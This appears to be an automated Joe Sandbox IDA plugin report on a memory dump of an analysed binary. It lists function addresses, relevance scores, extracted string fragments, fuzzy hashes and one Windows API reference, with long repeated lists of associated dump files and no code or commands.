Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: X$X$Y$Y$Z$Z$q$}
API String ID: 0-540668698
Opcode ID: 92023e53b11931f45d32f5ecdcf6ed19e405229557f51b4b8869f4eaeec5f576
Instruction ID: f39947eda96f8918ac37a3549ffba849dd0687fb52614595f9ad3b54683c0645
Opcode Fuzzy Hash: 92023e53b11931f45d32f5ecdcf6ed19e405229557f51b4b8869f4eaeec5f576
Instruction Fuzzy Hash: 38A13E23F147D94ADB1186FC8C542EEAFA25B97224F1D8779C4F1E73C2D56949028361

Function 0038747D Relevance: 10.0, APIs: 4, Strings: 1, Instructions: 1238COMMON

Download Yara Rule

Strings

_^]\, xrefs: 003875C5

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: 586115a791ed93094026546068bac8355512e83c4e3a2ccee200ce673323f806
Instruction ID: 0e6a3a1ef3ec8a89ec3f17e7ad66a68a20ff41bcc1e10d675551fd000d9751fb
Opcode Fuzzy Hash: 586115a791ed93094026546068bac8355512e83c4e3a2ccee200ce673323f806
Instruction Fuzzy Hash: 958237715083518BC726DF28C8917ABB7E2FFC9354F298AACE4D59B2A5E734C805C742

Function 00388B1B Relevance: 9.7, Strings: 7, Instructions: 994COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00388F25
_^]\, xrefs: 00389115
/, xrefs: 003892BA
BVLm, xrefs: 0038902A
_^]\, xrefs: 00389425
_^]\, xrefs: 00388B44
_^]\, xrefs: 00388DE5

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: InitializeThunk
String ID: /$BVLm$_^]\$_^]\$_^]\$_^]\$_^]\
API String ID: 2994545307-2892575238
Opcode ID: e8a0e312f477c9e4f4fa4ce738bc19864b601bc80fb6915eef5650ae5dda685f
Instruction ID: b4a289ff6215a51aad5f00dd4ce7dbd4513e747b71f382cff6fd3753a78dec48
Opcode Fuzzy Hash: e8a0e312f477c9e4f4fa4ce738bc19864b601bc80fb6915eef5650ae5dda685f
Instruction Fuzzy Hash: 4E326DB16087408FD72A9B34CC9277BB7D6FBD2318F1D4A6DD1D687296DB3089028751

Function 00379310 Relevance: 9.2, Strings: 7, Instructions: 431COMMON

Download Yara Rule

Strings

WAg., xrefs: 0037943E
PTvu, xrefs: 003796F3
;"I, xrefs: 0037944E
,6.2, xrefs: 00379446
A, xrefs: 00379698
FM, xrefs: 00379370
cbrn, xrefs: 003793EE

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: ;"I$,6.2$A$FM$PTvu$WAg.$cbrn
API String ID: 0-3116088196
Opcode ID: c9e207116f0d0e1d3c010b878aae285ff6d7d53aed98aae9b503113e93668ba5
Instruction ID: 214386c4fa4801c4371794d9916be3ca6dbdc5099d480c0387f484ef45c347f0
Opcode Fuzzy Hash: c9e207116f0d0e1d3c010b878aae285ff6d7d53aed98aae9b503113e93668ba5
Instruction Fuzzy Hash: A9C1377160C3D54BD322CF6994A075BFFE19FD7210F098AADE4D91B382D2798906CB92

Function 00396D2E Relevance: 8.0, Strings: 6, Instructions: 482COMMON

Download Yara Rule

Strings

\R, xrefs: 00396DAC
X^, xrefs: 00396DA5
uYD\, xrefs: 00396E3D
_^]\_^]\, xrefs: 00397064
PV, xrefs: 00396DB3
rq9, xrefs: 0039715F

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: _^]\_^]\$rq9$uYD\$PV$X^$\R
API String ID: 0-907334015
Opcode ID: 5dd66460baa13771c6e71740510e07ec73af538f21cc285a7b456eb425c95755
Instruction ID: 51f885aef91d7b04f0cb5bf0b869a569e5884e3624fd384b71499ad2c14d3ca5
Opcode Fuzzy Hash: 5dd66460baa13771c6e71740510e07ec73af538f21cc285a7b456eb425c95755
Instruction Fuzzy Hash: 89F1EDB1E14714CFDF25CFA8D8826AEBBB1FB49304F18456CD642AB351D775A902CB90

Function 0037AB40 Relevance: 8.0, Strings: 6, Instructions: 481COMMON

Download Yara Rule

Strings

>, xrefs: 0037AB5E
HYZF, xrefs: 0037AE05, 0037B07E, 0037B075
HYZF, xrefs: 0037AE40
]><, xrefs: 0037AC83
Y2^0, xrefs: 0037AC7B
UMAG, xrefs: 0037AEF0

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: >$HYZF$HYZF$UMAG$Y2^0$]><
API String ID: 0-2666672646
Opcode ID: 051138add8ac646076c8a4233ae26c767cede09008794fed78f11e3e69e5b0c1
Instruction ID: 833f1980aee552701d172c8852a6bf411ccc1677e101a564c6039208cac18ad4
Opcode Fuzzy Hash: 051138add8ac646076c8a4233ae26c767cede09008794fed78f11e3e69e5b0c1
Instruction Fuzzy Hash: 06E1397664C7504BC335CF6888803AFBBE2AFC1304F19C92DE5E99B745DB7989058B86

Function 003981CC Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 003984BD
